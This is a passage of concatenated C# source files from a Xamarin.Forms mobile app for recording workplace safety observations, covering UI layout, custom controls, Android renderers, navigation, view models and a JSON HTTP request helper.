btn.button.WidthRequest = ScreenWidth * 0.250;
btn.button.HeightRequest = ScreenHeight * 0.060;
btn.label.Margin = new Thickness(-3, 0, 0, 0);
btn.Margin = new Thickness(0, -(ScreenHeight * 0.020), 0, 0);
btn.HorizontalOptions = LayoutOptions.Center;
return btn;
}
protected override CustomButton CreateButton(string text)
{
var btn = base.CreateButton(text);
btn.Text = text;
btn.FontSize = AppSetting.Current.FontSize.Large;
btn.TextColor = AppSetting.Current.Colors.WhiteColor;
btn.BackgroundColor = AppSetting.Current.Colors.OrangeColor;
btn.FontAttributes = FontAttributes.Bold;
btn.WidthRequest = ScreenWidth * 0.800;
btn.HeightRequest = ScreenHeight * 0.065;
btn.HorizontalOptions = LayoutOptions.Center;
btn.VerticalOptions = LayoutOptions.Center;
return btn;
}
protected override CustomLabel CreateLabel(string text, Color textColor, double? fontSize)
{
var lbl = base.CreateLabel(text, textColor, fontSize);
lbl.HorizontalOptions = LayoutOptions.Center;
lbl.VerticalOptions = LayoutOptions.Start;
return lbl;
}
private Label CreatNormalLabel(string text, Color textColor, double fontSize)
{
var lbl = new Label
{
Text = text,
TextColor = textColor,
FontSize = fontSize
};
lbl.HorizontalOptions = LayoutOptions.Center;
lbl.VerticalOptions = LayoutOptions.Start;
lbl.Margin = new Thickness(ScreenWidth * 0.060, 0, 0, 0);
lbl.HorizontalOptions = LayoutOptions.Start;
return lbl;
}
protected override CustomGrid CreateGrid(int rows, int columns)
{
var grid = new CustomGrid
{
Padding = new Thickness(0, ScreenHeight * 0.020, 0, ScreenHeight * 0.020),
HorizontalOptions = LayoutOptions.Center,
VerticalOptions = LayoutOptions.Center,
WidthRequest = ScreenWidth * 0.800,
RowSpacing = ScreenHeight * 0.025,
RowDefinitions =
{
new RowDefinition { Height = GridLength.Star},
new RowDefinition { Height = GridLength.Star},
new RowDefinition { Height = GridLength.Star},
new RowDefinition { Height = GridLength.Star},
new RowDefinition { Height = GridLength.Star},
new RowDefinition { Height = GridLength.Star}
},
ColumnDefinitions =
{
new ColumnDefinition { Width = ScreenWidth * 0.420},
new ColumnDefinition { Width = ScreenWidth * 0.380}
}
};
return grid;
}
}
}
<file_sep>using System;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Helpers.CustomControls
{
public class CustomListView : XFCustomListView
{
public CustomListView(ListViewCachingStrategy cachingStrategy) : base(cachingStrategy)
{
}
}
}
<file_sep>using System;
using Xamarin.Forms;
namespace XFBase.CustomUI.BasicControls
{
public class XFCustomTimePicker : TimePicker
{
public XFCustomTimePicker()
{
}
}
}
<file_sep>using System;
namespace GSK_Saftey.Enums
{
public enum ConsequencesEnum
{
StripTripFails = 0,
Ergonomy = 1,
MachineToolsSharp = 2,
ObjectsForeignBody = 3,
BioExposure = 4,
WorkingEnvironment = 5,
ChemicalExposure = 6,
HotColdSubstance = 7,
HotSurface = 8,
}
}
<file_sep>using System;
using System.Diagnostics;
using System.Threading.Tasks;
using System.Windows.Input;
using GSK_Saftey.Helpers.SQLite.SQLiteModels;
using GSK_Saftey.Pages.PopUps;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using Rg.Plugins.Popup.Services;
using Xamarin.Forms;
namespace GSK_Saftey.Pages
{
public class ProposeActionPageViewModel : BaseViewModel
{
SafetyObservation safetyObservation;
private string textProposeAction;
public string TextProposeAction
{
get { return textProposeAction; }
set
{
if (textProposeAction != value)
{
textProposeAction = value;
OnPropertyChanged(nameof(TextProposeAction));
}
}
}
public ICommand ButtonNextCommand { get; private set; }
public ICommand ButtonSaveCommand { get; private set; }
public ProposeActionPageViewModel(SafetyObservation _safetyObservation)
{
ButtonNextCommand = new Command(async () => await OnButtonNextCommand());
ButtonSaveCommand = new Command(async () => await OnButtonSaveCommand());
safetyObservation = _safetyObservation;
if (safetyObservation != null)
{
textProposeAction = safetyObservation.Actions;
}
}
private async Task OnButtonSaveCommand()
{
try
{
safetyObservation.Actions = TextProposeAction;
if (safetyObservation != null && safetyObservation.ID > 0)
{
AppSetting.Current.GskSafetyDB.Repository.Update<SafetyObservation>(safetyObservation);
}
else
{
AppSetting.Current.GskSafetyDB.Repository.Add<SafetyObservation>(safetyObservation);
}
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.ProposeAction, "Saved!"));
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}
private async Task OnButtonNextCommand()
{
this.IsBusy = true;
await Task.Delay(500);
safetyObservation.Actions = TextProposeAction;
await NavigateToAsync(new RiskMatrixPage(new RiskMatrixPageViewModel(safetyObservation)));
this.IsBusy = false;
}
}
}
<file_sep>using System;
using System.ComponentModel;
using Android.Content;
using Android.Graphics;
using GSK_Saftey.Droid.CustomRenderers;
using GSK_Saftey.Helpers.CustomControls;
using Xamarin.Forms;
using Xamarin.Forms.Platform.Android;
[assembly: ExportRenderer(typeof(CustomEditor), typeof(CustomEditorRenderer))]
namespace GSK_Saftey.Droid.CustomRenderers
{
public class CustomEditorRenderer : EditorRenderer
{
public CustomEditorRenderer(Context context) : base(context)
{
}
protected override void OnElementChanged(ElementChangedEventArgs<Editor> e)
{
base.OnElementChanged(e);
Control?.SetBackgroundColor(Android.Graphics.Color.Transparent);
}
protected override void OnElementPropertyChanged(object sender, PropertyChangedEventArgs e)
{
base.OnElementPropertyChanged(sender, e);
var editor = (CustomEditor)sender;
if (Control != null)
{
if (editor.IsThin == false)
{
Control.SetFont();
}
else
{
Typeface font = Typeface.CreateFromAsset(Android.App.Application.Context.Assets, "Roboto-Thin.ttf");
Control.Typeface = font;
}
}
}
}
}
<file_sep>using System;
using System.ComponentModel;
using Android.Content;
using Android.Views;
using GSK_Saftey.Droid.CustomRenderers;
using Xamarin.Forms;
using Xamarin.Forms.Platform.Android;
using XFBase.CustomUI;
[assembly: ExportRenderer(typeof(CustomViewCell), typeof(CustomViewCellRenderer))]
namespace GSK_Saftey.Droid.CustomRenderers
{
public class CustomViewCellRenderer : ViewCellRenderer
{
public CustomViewCellRenderer()
{
}
}
}
<file_sep>using System;
using Android.Graphics;
using Xamarin.Forms;
namespace GSK_Saftey.Droid.CustomRenderers
{
public static class ControlExtensions
{
/// <summary>
/// Sets the fonts Roboto/Lato according to AppConfig.Current
/// </summary>
/// <param name="btn">The button on which the font will be applied</param>
public static void SetFont(this Android.Widget.Button btn)
{
if (btn != null && btn.Typeface != null)
{
if (btn.Typeface.IsBold)
{
Typeface font = Typeface.CreateFromAsset(Android.App.Application.Context.Assets, "Roboto-Bold.ttf");
btn.Typeface = font;
}
else if (btn.Typeface.IsItalic)
{
Typeface font = Typeface.CreateFromAsset(Android.App.Application.Context.Assets, "Roboto-Italic.ttf");
btn.Typeface = font;
}
else
{
Typeface font = Typeface.CreateFromAsset(Android.App.Application.Context.Assets, "Roboto-Light.ttf");
btn.Typeface = font;
}
btn.PostInvalidate();
}
}
/// <summary>
/// Sets the fonts Roboto/Lato according to AppConfig.Current
/// </summary>
/// <param name="lbl">The label on which the font will be applied</param>
public static void SetFont(this Android.Widget.TextView lbl)
{
if (lbl != null && lbl.Typeface != null)
{
if (lbl.Typeface.IsBold)
{
Typeface font = Typeface.CreateFromAsset(Android.App.Application.Context.Assets, "Roboto-Bold.ttf");
lbl.Typeface = font;
}
else if (lbl.Typeface.IsItalic)
{
Typeface font = Typeface.CreateFromAsset(Android.App.Application.Context.Assets, "Roboto-Italic.ttf");
lbl.Typeface = font;
}
else
{
Typeface font = Typeface.CreateFromAsset(Android.App.Application.Context.Assets, "Roboto-Light.ttf");
lbl.Typeface = font;
}
}
}
/// <summary>
/// Sets the fonts Roboto/Lato according to AppConfig.Current
/// </summary>
/// <param name="txt">The entry on which the font will be applied</param>
public static void SetFont(this Android.Widget.EditText txt)
{
if (txt != null && txt.Typeface != null)
{
if (txt.Typeface.IsBold)
{
Typeface font = Typeface.CreateFromAsset(Android.App.Application.Context.Assets, "Roboto-Bold.ttf");
txt.Typeface = font;
}
else if (txt.Typeface.IsItalic)
{
Typeface font = Typeface.CreateFromAsset(Android.App.Application.Context.Assets, "Roboto-Italic.ttf");
txt.Typeface = font;
}
else
{
Typeface font = Typeface.CreateFromAsset(Android.App.Application.Context.Assets, "Roboto-Light.ttf");
txt.Typeface = font;
}
}
}
}
}
<file_sep>using System;
using System.Threading.Tasks;
using System.Windows.Input;
using Xamarin.Forms;
namespace GSK_Saftey.Pages
{
public class SendObservationPageViewModel : BaseViewModel
{
private string observationId = "123456";
private string observationsPerYear = "5";
public string ObservationId
{
get { return observationId; }
set
{
if (observationId != value)
{
observationId = value;
OnPropertyChanged(nameof(ObservationId));
}
}
}
public string ObservationsPerYear
{
get { return observationsPerYear; }
set
{
if (observationsPerYear != value)
{
observationsPerYear = value;
OnPropertyChanged(nameof(ObservationsPerYear));
}
}
}
public ICommand ButtonHomepageCommand { get; private set; }
public SendObservationPageViewModel()
{
ButtonHomepageCommand = new Command(async () => await OnButtonHomepageCommand());
}
private async Task OnButtonHomepageCommand()
{
await NavigateToAsync(new HomePage(new HomePageViewModel()));
}
}
}
<file_sep>using System.ComponentModel;
using System.Linq;
using System.Threading.Tasks;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace XFBase.ViewModels
{
public abstract class XFViewModel : INotifyPropertyChanged, INavigationService
{
public Page GetCurrentPage()
{
//this is the instance of the ContentPage we are currently at.
return Application.Current.MainPage.Navigation.NavigationStack.LastOrDefault();
}
public async Task NavigateToAsync(ContentPage page)
{
if (Application.Current.MainPage is NavigationPage)
{
await Application.Current.MainPage.Navigation.PushAsync(page, true);
}
else if (Application.Current.MainPage is MDPage)
{
var detail = ((MDPage)Application.Current.MainPage).Detail;
await ((NavigationPage)detail).PushAsync(page, true);
}
}
public async Task PopPageAsync()
{
if (Application.Current.MainPage is NavigationPage)
{
await Application.Current.MainPage.Navigation.PopAsync();
}
else if (Application.Current.MainPage is MDPage)
{
var detail = ((MDPage)Application.Current.MainPage).Detail;
await ((NavigationPage)detail).PopAsync();
}
}
public void RemoveAllPages()
{
var existingPages = Application.Current.MainPage.Navigation.NavigationStack.ToList();
foreach (var page in existingPages)
{
Application.Current.MainPage.Navigation.RemovePage(page);
}
}
public void RemovePrevious()
{
var navigationStack = Application.Current.MainPage.Navigation.NavigationStack;
Application.Current.MainPage.Navigation.RemovePage(navigationStack[navigationStack.Count - 2]);
}
public void SetAsMainPage(ContentPage page)
{
Application.Current.MainPage = new NavigationPage(page) { BarBackgroundColor = Color.FromRgb(15, 32, 38) };
}
public async Task GoToMainPageAsync()
{
if (Application.Current.MainPage is NavigationPage)
{
await Application.Current.MainPage.Navigation.PopToRootAsync();
}
else if (Application.Current.MainPage is MDPage)
{
var detail = ((MDPage)Application.Current.MainPage).Detail;
await ((NavigationPage)detail).PopToRootAsync();
}
}
//public async Task DisplayAlertAsync(string title, string message, string buttonText)
//{
// await Application.Current.MainPage.DisplayAlert(title, message, buttonText);
//}
public event PropertyChangedEventHandler PropertyChanged;
protected virtual void OnPropertyChanged(string propertyName)
{
if (PropertyChanged != null)
{
PropertyChanged(this, new PropertyChangedEventArgs(propertyName));
}
}
}
}
<file_sep>using System;
using GSK_Saftey.Enums;
namespace GSK_Saftey.Settings.Configs
{
public class DebugSettings
{
public EnvironmentEnum CurentEnvironment { get; set; }
public bool IsDebuging { get; set; }
}
}
<file_sep>using System;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Pages.CustomControl;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages
{
public abstract class BasePage : XFBase.CustomUI.BasePage
{
public Color StartColor { get; set; }
public Color EndColor { get; set; }
public BasePage()
{
BackgroundColor = Color.White;//AppSetting.Current.Colors.BackgroundGrayColor;
NavigationPage.SetBackButtonTitle(this, AppResources.Back);
//this.BackgroundImage = Images.BackgroundPageImage;
//this.StartColor = Color.Yellow;
//this.EndColor = AppSetting.Current.Colors.GrayColor;
}
protected virtual CustomLabel CreateLabel(string text, Color textColor, double? fontSize)
{
var lbl = new CustomLabel
{
Text = text,
TextColor = textColor,
FontSize = fontSize ?? AppSetting.Current.FontSize.Medium
};
return lbl;
}
protected virtual CustomEntry CreateEntry(string placeholeder = null)
{
var entry = new CustomEntry
{
Placeholder = placeholeder
};
entry.VerticalOptions = LayoutOptions.Center;
entry.BackgroundColor = Color.Transparent;
return entry;
}
protected virtual CustomGrid CreateGrid(int rows, int columns)
{
var grid = new CustomGrid();
for (int i = 0; i < rows; i++)
{
grid.RowDefinitions.Add(new RowDefinition { Height = GridLength.Star });
}
for (int i = 0; i < columns; i++)
{
grid.ColumnDefinitions.Add(new ColumnDefinition { Width = GridLength.Star });
}
return grid;
}
protected virtual CustomButton CreateButton(string text)
{
var btn = new CustomButton
{
Text = text
};
return btn;
}
protected virtual CustomImageButton CreateImageButton(string text, string imageSource, Color textColor, double fontSize, Color backgroundColor, bool isCentered = false)
{
var btn = new CustomImageButton(text, imageSource, textColor, fontSize, backgroundColor, isCentered);
if (isCentered)
{
btn.button.CornerRadius = 5;
btn.gridMain.HorizontalOptions = LayoutOptions.Center;
}
return btn;
}
}
}
<file_sep>using System;
using FFImageLoading.Forms;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages.CustomControl
{
public class ConsequencesCell : CustomContentView
{
public BoxView frame;
public CustomLabel labelInfo, labelConsequences;
public CustomGrid gridMain;
public CustomButton button;
public CachedImage image;
public ConsequencesCell(string textInfo)
{
frame = CreateFrame();
gridMain = CreateGrid();
labelInfo = CreateLabel(textInfo.ToUpper());
labelInfo.HorizontalTextAlignment = TextAlignment.Start;
labelInfo.VerticalTextAlignment = TextAlignment.Center;
labelInfo.VerticalOptions = LayoutOptions.Center;
labelInfo.FontSize = AppSetting.Current.FontSize.Small;
labelInfo.TextColor = AppSetting.Current.Colors.DarkBlueStepBarColor;
image = CreateImage();
labelConsequences = CreateLabel("");
labelConsequences.FontSize = AppSetting.Current.FontSize.Micro + 2;
labelConsequences.IsThin = false;
button = CreateButton();
var stk = new CustomStackLayout()
{
VerticalOptions = LayoutOptions.Center,
};
stk.Children.Add(labelInfo);
stk.Children.Add(labelConsequences);
gridMain.Children.Add(frame, 0, 2, 0, 1);
gridMain.Children.Add(stk, 0, 1, 0, 1);
gridMain.Children.Add(image, 1, 2, 0, 1);
gridMain.Children.Add(button, 0, 2, 0, 1);
Content = gridMain;
}
private CustomGrid CreateGrid()
{
var grid = new CustomGrid()
{
BackgroundColor = Color.Transparent,
HorizontalOptions = LayoutOptions.Center,
RowDefinitions = {
new RowDefinition { Height = ScreenHeight * 0.060 },
},
ColumnDefinitions = {
new ColumnDefinition { Width = ScreenWidth * 0.680 },
new ColumnDefinition { Width = ScreenWidth * 0.050 },
},
};
return grid;
}
private CustomLabel CreateLabel(string text = null)
{
var label = new CustomLabel()
{
Margin = new Thickness(10, 0, 0, 0),
TextColor = Color.White,
Text = text?? "",
HorizontalOptions = LayoutOptions.Start,
WidthRequest = ScreenWidth * 0.650
};
return label;
}
private CachedImage CreateImage()
{
var imageC = new CachedImage()
{
HorizontalOptions = LayoutOptions.Center,
VerticalOptions = LayoutOptions.Center,
Source = Images.DeleteBlackImage,
WidthRequest = ScreenWidth * 0.030,
HeightRequest = ScreenWidth * 0.030
};
return imageC;
}
private BoxView CreateFrame()
{
var frameRet = new BoxView()
{
CornerRadius = 10,
BackgroundColor = Color.Red,
HorizontalOptions = LayoutOptions.StartAndExpand,
VerticalOptions = LayoutOptions.FillAndExpand,
WidthRequest = ScreenWidth * 0.740
};
return frameRet;
}
private CustomButton CreateButton()
{
var btn = new CustomButton()
{
BackgroundColor = Color.Transparent,
HorizontalOptions = LayoutOptions.FillAndExpand,
VerticalOptions = LayoutOptions.FillAndExpand,
CornerRadius = 10,
};
return btn;
}
}
}
<file_sep>using System;
using Android.App;
using Android.Content.PM;
using Android.Runtime;
using Android.Views;
using Android.Widget;
using Android.OS;
using Plugin.Permissions;
using Xamarin.Forms;
using Acr.UserDialogs;
using Xamarin.Forms.Platform.Android;
using FFImageLoading.Forms.Platform;
using FFImageLoading;
using GSK_Saftey.Droid.Helpers;
namespace GSK_Saftey.Droid
{
[Activity(Label = "GSK Safety", Icon = "@drawable/gsk_icon", Theme = "@style/MainTheme", MainLauncher = true, ScreenOrientation = ScreenOrientation.Portrait, ConfigurationChanges = ConfigChanges.ScreenSize | ConfigChanges.Orientation)]
public class MainActivity : global::Xamarin.Forms.Platform.Android.FormsAppCompatActivity
{
protected override void OnCreate(Bundle savedInstanceState)
{
TabLayoutResource = Resource.Layout.Tabbar;
ToolbarResource = Resource.Layout.Toolbar;
base.OnCreate(savedInstanceState);
Rg.Plugins.Popup.Popup.Init(this, savedInstanceState);
Plugin.CurrentActivity.CrossCurrentActivity.Current.Init(this, savedInstanceState);
UserDialogs.Init(this);
global::Xamarin.Forms.Forms.Init(this, savedInstanceState);
Android.Glide.Forms.Init();
Android.Glide.Forms.Init(debug: true);
global::Xamarin.Auth.Presenters.XamarinAndroid.AuthenticationConfiguration.Init(this, savedInstanceState);
CachedImageRenderer.Init(true);
var config = new FFImageLoading.Config.Configuration()
{
VerboseLogging = false,
VerbosePerformanceLogging = false,
VerboseMemoryCacheLogging = false,
VerboseLoadingCancelledLogging = false,
Logger = new CustomLogger(),
};
ImageService.Instance.Initialize(config);
Android.Content.Res.TypedArray styledAttributes = Theme.ObtainStyledAttributes(new int[] { Android.Resource.Attribute.ActionBarSize });
int navigationBarHeight = (int)(styledAttributes.GetDimension(0, 0) / Resources.DisplayMetrics.Density);
styledAttributes.Recycle();
int statusBarHeight = 0, totalHeight = 0, contentHeight = 0;
int resourceId = Resources.GetIdentifier("status_bar_height", "dimen", "android");
if (resourceId > 0)
{
statusBarHeight = Resources.GetDimensionPixelSize(resourceId);
totalHeight = Resources.DisplayMetrics.HeightPixels;
contentHeight = totalHeight - statusBarHeight - navigationBarHeight;
}
App.ScreenSize = new Xamarin.Forms.Size(
Resources.DisplayMetrics.WidthPixels / Resources.DisplayMetrics.Density,
contentHeight / Resources.DisplayMetrics.Density);
SetBarsColorSettings();
LoadApplication(new App());
}
public override void OnRequestPermissionsResult(int requestCode, string[] permissions, [GeneratedEnum] Android.Content.PM.Permission[] grantResults)
{
PermissionsImplementation.Current.OnRequestPermissionsResult(requestCode, permissions, grantResults);
base.OnRequestPermissionsResult(requestCode, permissions, grantResults);
}
public override void OnBackPressed()
{
if (Rg.Plugins.Popup.Popup.SendBackPressed(base.OnBackPressed))
{
// Do something if there are some pages in the `PopupStack`
}
else
{
// Do something if there are not any pages in the `PopupStack`
}
}
private void SetBarsColorSettings()
{
// Set explicitly the status bar color here, because there is an issue
// if the colors is being set in the styles.xml (v21 folder)
if (Build.VERSION.SdkInt >= BuildVersionCodes.Lollipop)
{
Window.AddFlags(WindowManagerFlags.DrawsSystemBarBackgrounds);
Window.ClearFlags(WindowManagerFlags.TranslucentStatus);
Window.SetStatusBarColor(Color.FromRgb(13, 25, 28).ToAndroid());
}
}
}
}<file_sep>using System;
using GSK_Saftey.Enums;
namespace GSK_Saftey.Models
{
public class SelectedConsequences
{
public ConsequencesEnum Consequences { get; set; }
public string SelectedConsequence { get; set; }
}
}
<file_sep>using Xamarin.Forms;
namespace XFBase.CustomUI
{
public class CustomViewCell : ViewCell
{
protected double ScreenWidth { get; private set; }
protected double ScreenHeight { get; private set; }
public CustomViewCell()
{
this.ScreenWidth = XFAppBase.ScreenSize.Width;
this.ScreenHeight = XFAppBase.ScreenSize.Height;
}
}
}
<file_sep>using System;
using Xamarin.Forms;
using XFBase.CustomUI.BasicControls;
namespace GSK_Saftey.Helpers.CustomControls
{
public class CustomPicker : XFCustomPicker
{
private bool isthin;
private float fontsizecustom = 12;
private TextAlignment textAlignment = TextAlignment.Start;
public CustomPicker()
{
HeightRequest = App.ScreenSize.Height * 0.065;
}
/// <summary>
/// Gets or Sets the TextAlignment of the picker
/// </summary>
public TextAlignment TextAlignment
{
get { return textAlignment; }
set
{
textAlignment = value;
OnPropertyChanged();
}
}
/// <summary>
/// Gets or Sets Roboto - Thin font style.
/// </summary>
public bool IsThin
{
get
{
return isthin;
}
set
{
isthin = value;
OnPropertyChanged();
}
}
/// <summary>
/// Gets or Sets FontSize of the picker.
/// </summary>
public float FontSizeCustom
{
get
{
return fontsizecustom;
}
set
{
fontsizecustom = value;
OnPropertyChanged();
}
}
}
}
<file_sep>using System;
using System.ComponentModel;
using Android.Content;
using Android.Graphics;
using Android.Graphics.Drawables;
using Android.Util;
using Android.Views;
using GSK_Saftey.Droid.CustomRenderers;
using GSK_Saftey.Helpers.CustomControls;
using Plugin.CurrentActivity;
using Xamarin.Forms;
using Xamarin.Forms.Platform.Android;
[assembly: ExportRenderer(typeof(CustomPicker), typeof(CustomPickerRenderer))]
namespace GSK_Saftey.Droid.CustomRenderers
{
public class CustomPickerRenderer : PickerRenderer
{
public CustomPickerRenderer(Context context) : base(context)
{
}
CustomPicker pickerElement;
protected override void OnElementChanged(ElementChangedEventArgs<Picker> e)
{
base.OnElementChanged(e);
if (e != null && e.OldElement == null && Element is CustomPicker pickerElement)
{
this.pickerElement = pickerElement;
// Change fontSize and placeholderFontSize
if (pickerElement.FontSize != 0)
{
Control.SetTextSize(ComplexUnitType.Sp, (float)pickerElement.FontSize);
}
if (!string.IsNullOrEmpty(pickerElement.Image))
{
SetPickerBackgroundDrawable(pickerElement.Image);
}
}
}
protected override void OnElementPropertyChanged(object sender, PropertyChangedEventArgs e)
{
base.OnElementPropertyChanged(sender, e);
var picker = (CustomPicker)sender;
if (e.PropertyName == nameof(VisualElement.IsEnabled) && picker != null && !string.IsNullOrEmpty(picker.Image))
{
SetPickerBackgroundDrawable(picker.Image);
}
if (Control != null)
{
if (pickerElement.IsThin == false)
{
Control.SetFont();
}
else
{
Typeface font = Typeface.CreateFromAsset(Android.App.Application.Context.Assets, "Roboto-Thin.ttf");
Control.Typeface = font;
}
}
}
private void SetPickerBackgroundDrawable(string image)
{
var pickerImageBitmapDrawable = GetPickerImageBitmapDrawable(image);
Control.Background = CreateLayerDrawable(pickerImageBitmapDrawable);
}
private BitmapDrawable GetPickerImageBitmapDrawable(string image)
{
var drawable = CrossCurrentActivity.Current.Activity.GetDrawable(image);
var bitmap = ((BitmapDrawable)drawable).Bitmap;
var result = new BitmapDrawable(Resources, Bitmap.CreateScaledBitmap(bitmap, 30, 20, true))
{
Gravity = GravityFlags.Right
};
return result;
}
private LayerDrawable CreateLayerDrawable(Drawable pickerImageBitmapDrawable)
{
ShapeDrawable border = new ShapeDrawable();
border.Paint.Color = Android.Graphics.Color.Gray;
border.SetPadding(10, 0, 10, 0);
border.Paint.SetStyle(Paint.Style.Stroke);
LayerDrawable layerDrawable = new LayerDrawable(new Drawable[] { pickerImageBitmapDrawable });
layerDrawable.SetLayerInset(0, 0, 0, 0, 0);
return layerDrawable;
}
}
}
<file_sep>using System;
using Newtonsoft.Json;
using System.IO;
using System.Net;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Text;
using System.Threading.Tasks;
namespace XFBase.Web
{
public class XFBaseRequester
{
private readonly string token = string.Empty;
private HttpRequestMessage request;
public XFBaseRequester(string token)
{
this.token = token;
}
public Task<HttpResponseMessage> PostAsync(string url, object data)
{
try
{
request = new HttpRequestMessage(HttpMethod.Post, url);
var jsonData = JsonConvert.SerializeObject(data);
var client = new HttpClient();
request.Content = new StringContent(jsonData, Encoding.UTF8, "application/json");
AddHeaders();
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json"));
return client.SendAsync(request);
}
catch (Exception ex)
{
throw ex;
}
}
public async Task<HttpResponseMessage> PutAsync(string url, object data)
{
try
{
request = new HttpRequestMessage(HttpMethod.Put, url);
AddHeaders();
var jsonData = JsonConvert.SerializeObject(data);
var client = new HttpClient();
request.Content = new StringContent(jsonData, Encoding.UTF8, "application/json");
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json"));
return await client.SendAsync(request);
}
catch (Exception ex)
{
throw ex;
}
}
public async Task<HttpResponseMessage> PutAsync(string url)
{
try
{
request = new HttpRequestMessage(HttpMethod.Put, url);
AddHeaders();
var client = new HttpClient();
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json"));
return await client.SendAsync(request);
}
catch (Exception ex)
{
throw ex;
}
}
public async Task<HttpResponseMessage> DeleteAsync(string url)
{
try
{
request = new HttpRequestMessage(HttpMethod.Delete, url);
AddHeaders();
var client = new HttpClient();
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json"));
return await client.SendAsync(request);
}
catch (Exception ex)
{
throw ex;
}
}
public async Task<T> DeleteWithContentAsync<T>(string url, object data)
{
try
{
request = new HttpRequestMessage(HttpMethod.Delete, url);
var jsonData = JsonConvert.SerializeObject(data);
var client = new HttpClient();
request.Content = new StringContent(jsonData, Encoding.UTF8, "application/json");
AddHeaders();
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json"));
var response = await client.SendAsync(request);
var content = await response.Content.ReadAsStringAsync();
return await DeserializeResponseAsync<T>(response, content);
}
catch (Exception ex)
{
throw ex;
}
}
public async Task<T> PostAsyncWithCustomResult<T>(string url, object data)
{
try
{
var response = await PostAsync(url, data);
var content = await response.Content.ReadAsStringAsync();
return await DeserializeResponseAsync<T>(response, content);
}
catch (Exception ex)
{
throw ex;
}
}
public async Task<T> GetAsync<T>(string url)
{
try
{
request = new HttpRequestMessage(HttpMethod.Get, url);
AddHeaders();
using (var client = new HttpClient())
{
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json"));
var response = await client.SendAsync(request);
using (var ms = new MemoryStream())
{
await response.Content.CopyToAsync(ms);
ms.Seek(0, SeekOrigin.Begin);
using (var sr = new StreamReader(ms))
{
var content = await sr.ReadToEndAsync();
return await DeserializeResponseAsync<T>(response, content);
}
}
}
}
catch (Exception ex)
{
throw ex;
}
}
public async Task<T> DeserializeResponseAsync<T>(HttpResponseMessage response, string content)
{
try
{
if (response.IsSuccessStatusCode)
{
var result = await Task.Run(() => JsonConvert.DeserializeObject<ResultObject>(content));
if (result != null && result.Data != null)
{
var resultStringData = await Task.Run(() => result.Data.ToString());
var responseData = await Task.Run(() => JsonConvert.DeserializeObject<T>(resultStringData));
return responseData;
}
return await Task.Run(() => JsonConvert.DeserializeObject<T>(content));
}
else
{
if (response.StatusCode == HttpStatusCode.Unauthorized)
{
throw new UnauthorizedAccessException(response.ReasonPhrase);
}
else if (response.StatusCode == HttpStatusCode.BadRequest)
{
var badRequestResponseContent = await response.Content.ReadAsStringAsync();
var responseMsg = JsonConvert.DeserializeObject<HttpBadRequestResponse>(badRequestResponseContent);
throw new InvalidOperationException(responseMsg?.Message);
}
else
{
throw new InvalidOperationException(response.ReasonPhrase);
}
}
}
catch (UnauthorizedAccessException)
{
throw new UnauthorizedAccessException("Session Timed Out, Please log in again.");
}
catch (Exception ex)
{
throw ex;
}
}
private void AddHeaders()
{
request.Headers.Add("Authorization", $"Bearer {token}");
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using Foundation;
using UIKit;
using Xamarin.Auth;
namespace GSK_Saftey.iOS
{
public partial class AppDelegate
{
public override bool OpenUrl
(
UIApplication application,
NSUrl url,
string sourceApplication,
NSObject annotation
)
{
#if DEBUG
System.Text.StringBuilder sb = new System.Text.StringBuilder();
sb.AppendLine("OpenURL Called");
sb.Append(" url = ").AppendLine(url.AbsoluteUrl.ToString());
sb.Append(" application = ").AppendLine(sourceApplication);
sb.Append(" annotation = ").AppendLine(annotation?.ToString());
System.Diagnostics.Debug.WriteLine(sb.ToString());
#endif
//=================================================================
// Walthrough Step 4.1
// Intercepting redirect_url and Loading it
// Convert iOS NSUrl to C#/netxf/BCL System.Uri - common API
System.Uri uri_netfx = new System.Uri(url.AbsoluteString);
WebRedirectAuthenticator wre = null;
wre = (WebRedirectAuthenticator)
global::Xamarin.Auth.XamarinForms.XamarinIOS.
AuthenticatorPageRenderer.Authenticator;
// load redirect_url Page
wre?.OnPageLoading(uri_netfx);
//=================================================================
return true;
}
}
}
<file_sep>using System;
using System.ComponentModel;
using Android.Content;
using Android.Graphics;
using GSK_Saftey.Droid.CustomRenderers;
using GSK_Saftey.Helpers.CustomControls;
using Xamarin.Forms;
using Xamarin.Forms.Platform.Android;
[assembly: ExportRenderer(typeof(CustomLabel), typeof(CustomLabelRenderer))]
namespace GSK_Saftey.Droid.CustomRenderers
{
public class CustomLabelRenderer : LabelRenderer
{
public CustomLabelRenderer(Context context) : base(context)
{
}
protected override void OnElementChanged(ElementChangedEventArgs<Label> e)
{
base.OnElementChanged(e);
var customLabel = e.NewElement as CustomLabel;
if (Control != null && customLabel != null && customLabel.IsTwoLines)
{
Control.SetMaxLines(2);
}
if (customLabel.IsThin == false)
{
Control.SetFont();
}
else
{
Typeface font = Typeface.CreateFromAsset(Android.App.Application.Context.Assets, "Roboto-Thin.ttf");
Control.Typeface = font;
}
}
protected override void OnElementPropertyChanged(object sender, PropertyChangedEventArgs e)
{
base.OnElementPropertyChanged(sender, e);
try
{
if (Control != null && e.PropertyName == "IsThinProperty")
{
var customLabel = (CustomLabel)sender;
if (customLabel.IsThin == false)
{
Control.SetFont();
}
else
{
Typeface font = Typeface.CreateFromAsset(Android.App.Application.Context.Assets, "Roboto-Thin.ttf");
Control.Typeface = font;
}
}
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
